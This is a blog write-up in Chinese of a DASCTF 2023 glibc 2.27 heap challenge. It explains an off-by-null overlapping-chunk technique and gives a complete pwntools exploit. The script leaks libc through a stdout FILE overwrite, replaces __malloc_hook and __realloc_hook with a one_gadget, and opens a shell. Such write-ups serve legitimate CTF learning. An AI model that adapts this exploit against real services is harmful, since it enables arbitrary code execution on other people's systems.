can_you_find_me

DASCTF_2023_6_二进制专项 can_you_find_me

代码审计

2.27堆,0x10次add,6次delete,没有show和edit功能。add功能存在off-by-null漏洞,溢出位置取决于size。

这种没有show的的题可以用我先前发过的一篇名字无比中二的文章: tcache七星剑法:留光 的思路来解决,都是通过将unsorted bin生成时在fd处添加的libc地址放进与之重叠的tcache里面来实现对于tcache链表的劫持。

off-by-null建议上看雪上看winmt大佬的博客。这里再讲一下在2.27的时候off-by-null的构造方法:在一个chunk_1内构造一个chunk头部,使得chunk_1被前一个堆块off-by-null后其堆块结尾处正好卡在伪造的chunk头上。然后切割这个shrink了的堆块多次,将第一个堆块再释放回unsorted bin,剩下的留着(或者释放进tcache,就是下面的打法)。这时再释放原chunk_1物理相邻的后一个堆块,这时会根据prevsize域进行前向合并,由于原chunk_1地址处的堆块刚刚被放进unsorted bin,其双向链表完整性得以满足,且满足size与物理相邻的下一个chunk的prevsize相等,能正常通过unlink检查,free时会前向合并原chunk_1。此时切割步骤中剩下的堆块会与这个刚刚合并的大堆块重叠。

之后卡好堆风水就能用之前我博客发的技巧去做题了。

注意这题有时候会出现small bin,有时候你可能会不经意间取了small bin中的东西,而不是如你预期地去切割unsorted bin chunk

EXP

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/pwn' 
libcpath='/home/wjc/glibc-all-in-one-master/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so'

#p=process(ELFpath)
#p=remote('node4.buuoj.cn',29128)

e=ELF(ELFpath)
libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.1)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    text_base, libc_base = get_base(p, 'pwn')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b*$rebase(0xdB8)
    '''.format(text_base, libc_base)
    
    #b mprotect
    #b *($text_base+0x0000000000000000F84)
    #b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    #dprintf *($text_base+0x04441),"%c",$ax
    #dprintf *($text_base+0x04441),"%c",$ax
    #0x12D5
    #0x04441
    #b *($text_base+0x0000000000001671)
    gdb.attach(p, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)


def cmd(idx):
    ru('choice:')
    sl(str(idx))
def add(size,data):
    cmd(1)
    ru('Size:')
    sl(str(size))
    ru('Data:')
    s(data)
def dele(idx):
    cmd(2)
    ru('Index:')
    sl(str(idx))

def pwn():
    add(0x28,'aaa\n')       #0
    pay1=0x4f0*'a'+p64(0x500)+p64(0x30)
    add(0x520,pay1+'\n')    #1
    add(0x420,'xxx\n')      #2
    add(0x20,'aaa\n')       #3

    dele(1)

    dele(0)
    add(0x28,'a'*0x28)      #0

    add(0x420,'\n')             #1
    add(0x60,0x60*'\x00')       #4
    #add(0x10,0x10*'\x00')      #5
    add(0x10,0x10*'\x00')       #6

    dele(1)
    dele(2)

    dele(4)
    dele(5)

    add(0x420,'\n')             #1
    add(0x40,'\x60\xe7'+'\n')   #2
    add(0x60,'\n')              #4
    add(0x60,p64(0xfbad1800)+p64(0)*3+'\x00'+'\n')      #7

    libcbase=u64(rut('\x7f')[-6:].ljust(8,'\x00'))-(0x7ffff7dcf8b0-0x7ffff79e2000 )
    LOGTOOL['libcbase']=libcbase

    malloc_hook=libcbase+libc.symbols['__malloc_hook']
    realloc_hook=malloc_hook-8
    LOGTOOL['malloc_hook']=malloc_hook

    realloc_addr=libcbase+0x98C58

    one_gadget=libcbase+0x10a2fc

    add(0x50,p64(0)*4+p64(realloc_hook)+'aaaaaaa'+'\n')
    add(0x10,'aaa'+'\n')
    add(0x10,p64(one_gadget)+p64(realloc_addr))

    #debug(
    #pause()

    cmd(1)
    ru('Size:')
    sl(str(0x10))

    LOGALL()

    # sl("echo winwinwin")
    # ru("winwinwin")
    
    it()

if __name__ == "__main__":
    while True:
        try:
            p=process(ELFpath)
            pwn()
            break
        except:
            p.close()
            continue

posted @ 2023-06-06 16:57  Jmp·Cliff  阅读(96)  评论(0编辑  收藏  举报